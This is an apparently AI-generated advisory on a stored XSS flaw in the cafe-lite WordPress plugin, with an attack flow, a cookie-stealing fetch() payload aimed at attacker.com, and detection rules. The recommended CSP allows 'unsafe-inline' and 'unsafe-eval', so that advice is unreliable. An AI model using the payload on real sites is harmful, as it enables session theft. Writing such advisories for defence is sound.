CVE-2024-51580

Executive Summary

CVE-2024-51580 is a Stored Cross-Site Scripting (XSS) vulnerability in the Clever Addons for Elementor WordPress plugin (cafe-lite) developed by zootemplate. This vulnerability affects all versions up to and including 2.2.1. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into web pages via the plugin's input fields. When an administrator or other user views the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as medium severity (CVSS 6.5) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress ecosystem component, it is subject to supply chain risks if the plugin is bundled with themes or other plugins. Users should verify the integrity of the plugin file and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level WordPress user)
• User Interaction: Required (Admin must view the page)
• Scope: Changed (Impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is medium due to the requirement for authenticated access and user interaction. However, the stored nature of the XSS increases the potential for widespread impact within a WordPress site.

Deep Dive & Mechanics

The vulnerability exists in the Clever Addons for Elementor plugin, specifically in the cafe-lite component. The plugin fails to properly sanitize user-supplied input before storing it in the WordPress database. When the plugin renders content via Elementor widgets, it outputs the unsanitized data, allowing arbitrary HTML and JavaScript to be executed.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), wp_kses_post(), or esc_attr()). This allows an attacker to inject <script> tags or event handlers (e.g., onload, onerror) that persist in the database.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page using the Clever Addons for Elementor plugin.
2. The attacker inserts malicious JavaScript into a vulnerable input field (e.g., a text field, heading, or button label).
3. The plugin stores the input without sanitization.
4. When an administrator or other user views the post/page, the malicious script executes in their browser.
5. The script can steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be present in all versions <= 2.2.1. A patched version would implement proper output escaping.

Vulnerable Code (Example):

// In a widget's render method
echo $settings['heading_text']; // No escaping

Patched Code (Hypothetical):

// In a widget's render method
echo esc_html( $settings['heading_text'] ); // Proper escaping

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Clever Addons for Elementor plugin version <= 2.2.1.
• Contributor-level account or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Add an Elementor section and insert a Clever Addons widget (e.g., "Heading" or "Button").
4. In the widget's text field, inject the following payload:

   <script>alert('XSS')</script>
   

5. Save and publish the post.
6. As an administrator, view the post. The alert box will execute.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection Steps:

1. Monitor WordPress logs for unusual post creation or editing by low-privileged users.
2. Scan the database for suspicious <script> tags in post content:

   SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
   

3. Use a Web Application Firewall (WAF) to block common XSS patterns.
4. Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/clever-addons-for-elementor/ (all files in the plugin directory)
• Database: Rows in wp_posts or wp_postmeta containing <script> tags or event handlers.
• Network: Outbound requests to attacker-controlled domains from the WordPress admin panel.
• Logs: WordPress audit logs showing post creation/editing by non-admin users with suspicious content.

Detection Engineering

YARA Rule

rule CVE_2024_51580_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Clever Addons for Elementor plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-51580"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/is
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Stored XSS in Clever Addons for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Clever Addons for Elementor plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "clever-addons-for-elementor"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51580 Stored XSS in Clever Addons for Elementor"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"clever-addons-for-elementor"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user roles – Only allow trusted users to create/edit posts.
3. Implement a WAF – Use a Web Application Firewall (e.g., Cloudflare, ModSecurity) to block XSS payloads.
4. Apply Content Security Policy (CSP) – Add the following header to your web server configuration:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
   

   Note: 'unsafe-inline' may be required for some WordPress functionality but should be removed if possible.

Long-Term Fix:

• Monitor the vendor's website (zootemplate) for a patched version.
• Once a patch is available, update the plugin immediately.
• Conduct a security audit of all WordPress plugins and themes.

Valters IT Signature

Report generated by Valters IT DevSecOps AI Assistant | CVE-2024-51580 | 2025-04-10